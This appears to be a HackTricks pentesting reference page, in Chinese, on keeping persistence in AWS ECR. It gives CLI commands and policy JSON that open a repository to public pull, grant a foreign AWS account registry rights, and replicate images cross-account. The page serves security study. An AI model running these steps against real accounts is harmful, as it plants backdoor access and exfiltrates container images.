AWS - ECR Persistence

支持 HackTricks

ECR

有关更多信息,请查看:

隐藏的 Docker 镜像与恶意代码

攻击者可以 将包含恶意代码的 Docker 镜像上传 到 ECR 仓库,并利用它在目标 AWS 账户中保持持久性。攻击者随后可以以隐蔽的方式将恶意镜像部署到账户内的各种服务,如 Amazon ECS 或 EKS。

仓库策略

向单个仓库添加策略,授予自己(或所有人)对该仓库的访问权限:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

请注意,ECR要求用户在通过IAM策略进行身份验证之前,必须具有权限以调用**ecr:GetAuthorizationToken** API,以便能够向注册表推送或拉取任何来自任何Amazon ECR存储库的镜像。

注册表策略与跨账户复制

可以通过配置跨账户复制自动复制外部账户中的注册表,在那里您需要指明外部账户,以便复制注册表。

首先,您需要通过注册表策略授予外部账户对注册表的访问权限,例如:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

然后应用复制配置:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
支持 HackTricks

Last updated